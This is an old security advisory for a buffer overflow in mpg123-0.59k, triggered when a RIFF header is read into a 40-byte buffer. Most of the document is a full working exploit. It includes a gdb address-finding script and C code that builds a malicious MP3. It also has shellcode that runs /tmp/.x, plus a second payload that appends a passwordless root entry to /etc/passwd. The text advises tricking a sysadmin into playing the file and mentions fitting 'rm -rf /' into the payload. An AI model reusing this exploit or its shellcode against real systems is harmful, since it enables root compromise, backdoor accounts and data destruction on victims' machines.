COMMAND

    mpg123

SYSTEMS AFFECTED

    Systems running mpg123-0.59k

PROBLEM

    Joel Eriksson  found following.   It will  create a  56 bytes  MP3
    that executes /tmp/.x  which could for  example be a  program that
    checks the UID and if run by root creates a new account/SUID-shell
    /installs backdoors/whatever, and if run by a user adds entries to
    their .rhosts or something.   Joel has included a 93  bytes buffer
    with machinecode to create a new root-account on the system  which
    he planned to read in and jmp  to with the 48 bytes we can  use in
    the  overflow.   No  time  to  fix  some problems with this method
    though, so you'll have to satisfy  with this if you don't want  to
    code it yourself.

    This is what causes the overflow (common.c):

    [snip]
                        if(newhead == ('R'<<24)+('I'<<16)+('F'<<8)+'F') {
                                char buf[40];
                                fprintf(stderr,"Skipped RIFF header\n");
                                fread(buf,1,68,filept);
                                goto read_again;
                        }
    [snip]

    If the  file has  "RIFF" as  a header  a 40-chars  buffer will  be
    allocated and  *68* bytes  will be  read to  it. That's  enough to
    overwrite the saved  returnaddress on the  stack.  As  you can see
    it's a rather small buffer to overflow and it may seem hard to  do
    something useful.   Joel managed  to make  an exploit  for the bug
    though, it's not  particularly useful when  the attacker does  not
    have an account on  the system that the  MP3 is played on,  but an
    rm -rf / would probably fit in the 48 bytes we can work with.   As
    would  a  routine  that  reads  X  more  bytes from the still open
    filedescriptor and jmp's to the beginning of the code that can  do
    whatever you want.  So a "remote exploit" is certainly possible if
    you succeed in some  stackprediction.  The returnaddress  seems to
    stay the same on  the same system.   Joel did a script  to get the
    %esp when the program returns into the unknown, which can be given
    as an  argument to  my exploit  which will  subtract 0x4C from it,
    which has been proven to work on the two Linux-systems.

    Exploit follows:

    /*
    ** Exploit for mpg123-0.59k, Linux x86.
    **
    --- calcaddr.sh START
    #!/bin/sh

    perl -e 'print "RIFF" . "A"x56'>bof.mp3
    mpg123 bof.mp3 2> /dev/null
    echo info all-registers \
    |gdb mpg123 core 2>/dev/null|egrep "^esp"|awk '{print $2}'
    rm -f bof.mp3
    --- calcaddr.sh END
    **
    ** Give the address shown by calcaddr.sh as the first argument to
    ** this exploit, and it will handle the rest.. (e.g. subtract 0x4C
    ** from the address given) OBS! If you do what the script does manually
    ** you will not get the same result. Then CALCOFFSET should be 0x34 instead.
    **
    ** mpg123-0.59o is not vulnerable, previous versions not checked.
    **
    ** DESCRIPTION:
    **
    ** Makes an MP3-file that executes a program when played with mpg123-0.59k.
    ** Will be more useful when I have succeded in making it add an account,
    ** the problem is that we only have 48 bytes to work with and my code
    ** to add a new account takes 93 bytes.
    **
    ** For those who have not understood that yet, the trick is too get
    ** *someone*else* to play the MP3 using mpg123. You could for example
    ** mail the file to the sysadmin or just have it in /tmp and name it
    ** something like k3w1-mUz4c.MP3 or whatever may seem appropriate. :-)
    **
    ** Plan:  In the 48 bytes I can put my code I'll make a routine that
    **        just allocates a buffer, reads in the 93 bytes required to add
    **        an account and jmp's to the beginning of the code.
    **
    ** (C) 1998/10/31, Joel Eriksson - Chaoz on IRCNet.
    **
    ** Disclaimer: This program is for informational purposes only.
    **             I can not be held responsible for any use or misuse
    **             of this program. And so on, the usual stuff..
    */

    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <limits.h>

    #define ADDRLEN         4
    #define DEFAULT_OFFSET  -0x88;
    #define CALCOFFSET      -0x4C
    /*
    ** When the address is calculated in a subshell (e.g. using the script
    ** included with this sourcecode) the offset is -0x4C, but when it is
    ** calculated manually in the lowest shell-level the offset is -0x34.
    */
    #define MP3NAME         "bof.mp3"

    const char FILLCHAR =   '.';

    /*
    ** Standard shellcode, made by Aleph One, published in Phrack #49
    ** Modified to execute /tmp/.x instead of /bin/sh.
    **
    ** /tmp/.x could for example add an account, create a SUID-root shell
    ** or if run by an ordinary user add an entry to their .rhosts, create
    ** a SUID-user shell or something else that seems like a good idea.
    */
    char shellcode[] =
            "\xeb\x1f"              // jmp  0x1f
            "\x5e"                  // popl %esi
            "\x89\x76\x08"          // movl %esi,0x8(%esi)
            "\x31\xc0"              // xorl %eax,%eax
            "\x88\x46\x07"          // movb %al,0x7(%esi)
            "\x89\x46\x0c"          // movl %eax,0xc(%esi)
            "\xb0\x0b"              // movb $0xb,%al
            "\x89\xf3"              // movl %esi,%ebx
            "\x8d\x4e\x08"          // leal 0x8(%esi),%ecx
            "\x8d\x56\x0c"          // leal 0xc(%esi),%edx
            "\xcd\x80"              // int  $0x80
            "\x31\xdb"              // xorl %ebx,%ebx
            "\x89\xd8"              // movl %ebx,%eax
            "\x40"                  // inc  %eax
            "\xcd\x80"              // int  $0x80
            "\xe8\xdc\xff\xff\xff"  // call -0x24
            "/tmp/.x";              // .string "/bin/sh"
    // 46 bytes

    /*
    ** To execute something else than /tmp/.x just change the last string,
    ** but remember that it must be a 7 bytes string. It's possible to
    ** change the shellcode to execute a command with a longer path than
    ** 7 bytes by changing the offsets from %esi, which is not too hard
    ** if you know some assembler.
    */

    /*
    ** Code to add user to passwd-file, made by me. Not used in this
    ** particular exploit yet, but ideally it'd be read in and executed
    ** by the 48 bytes that I have used to execute a shell in this exploit.
    ** This way the exploit becomes more interesting since it can be exploited
    ** remotely. We need to do some stackprediction though..
    **
    ** If someone makes an exploit that uses this code, make sure to include
    ** me in the greetings.
    */
    char addusercode[] =
            "\xeb\x3d"              // jmp  0x3d
            "\x5e"                  // popl %esi
            "\x89\x76\x1a"          // movl %esi,0x1a(%esi)
            "\x31\xc0"              // xorl %eax,%eax
            "\x88\x46\x0b"          // movb %al,0x0b(%esi)
            "\x83\xc6\x0c"          // addl $0x0c,%esi
            "\x89\x76\x12"          // movl %esi,0x12(%esi)
            "\x83\xee\x0c"          // subl $0x0c,%esi
            "\x31\xc0"              // xorl %eax,%eax
            "\x88\x46\x19"          // movb %al,0x19(%esi)
            "\x8b\x5e\x1a"          // movl 0x1a(%esi),%ebx
            "\x31\xc9"              // xorl %ecx,%ecx
            "\xb5\x04"              // movb $0x4,%ch
            "\xb1\x01"              // movb $0x1,%cl
            "\x31\xc0"              // xorl %eax,%eax
            "\xb0\x05"              // movb $0x5,%al
            "\xcd\x80"              // int  $0x80
            "\x89\xc3"              // movl %eax,%ebx
            "\x8b\x4e\x1e"          // movl 0x1e(%esi),%ecx
            "\x31\xd2"              // xorl %edx,%edx
            "\xb2\x0d"              // movb $13,%edx
            "\x31\xc0"              // xorl %eax,%eax
            "\xb0\x04"              // movb $0x4,%al
            "\xcd\x80"              // int  $0x80
            "\x31\xdb"              // xorl %ebx,%ebx
            "\x31\xc0"              // xorl %eax,%eax
            "\xb0\x01"              // movb $0x1,%al
            "\xcd\x80"              // int  $0x80
            "\xe8\xbe\xff\xff\xff"  // call -0x46
            "/etc/passwd."          // .string "/etc/passwd"
            "r00t::0:0:::\x0a";     // .string "r00t::0:0:::\n"
    // 93 bytes

    unsigned long getsp()
    {
            __asm("mov %esp, %eax");
    }

    int main(int argc, char **argv)
    {
            unsigned long addr;
            char *addr_ptr = (char*)&addr;
            int fd, i;
            char *filename = MP3NAME;

            addr = getsp() + DEFAULT_OFFSET;

            if(argc > 1) {
                    /*
                    ** This is UGLY coding. :-) strtol() overflows for some reason
                    ** when just doing one strtol() on argv[1].
                    */
                    char *strptr = argv[1];
                    char *numptr;
                    char cur[3];
                    char temp;
                    int i;

                    memset(addr_ptr, 0, ADDRLEN);
                    memset(cur, 0, 3);

                    if(!strncmp(strptr, "0x", 2)) strptr += 2;

                    for(i=0; i<ADDRLEN; i++, strptr+=2) {
                            strncpy(cur, strptr, 2);
                            numptr = (char*)&addr_ptr[(ADDRLEN-1)-i];
                            *numptr = strtol(cur, (char**)NULL, 16) & 0xFF;
                    }

                    addr += CALCOFFSET;
            } else {
                    fprintf(stderr, "Warning: Returnaddress may not be accurate.\n");
                    fprintf(stderr, "Use calcaddr.sh (included) to be more precise.\n\n");
            }
            if(argc > 2) filename = argv[2];
            if(argc > 3) {
                    fprintf(stderr, "Usage: %s [<address>] [<filename>]\n", argv[0]);
                    exit(1);
            }

            if((fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0644)) == -1) {
                    perror("open");
                    fprintf(stderr, "Could not create %s\n", filename);
                    exit(1);
            }

            printf("Using address: 0x%lx\n", addr);

            write(fd, "RIFF", 4);
            write(fd, shellcode, strlen(shellcode));
            for(i=0; i<48-strlen(shellcode); i++)
                    write(fd, &FILLCHAR, 1);
            for(i=0; i<4; i++)
                    write(fd, &addr_ptr[i], 1);

            printf("\nMP3 created in %s.\n", filename);

            exit(0);
    }

SOLUTION

    Nothing yet  unless you  disable mpg.   The most  recent  version,
    mpg123-0.59o (at moment of writing) is not vulnerable though.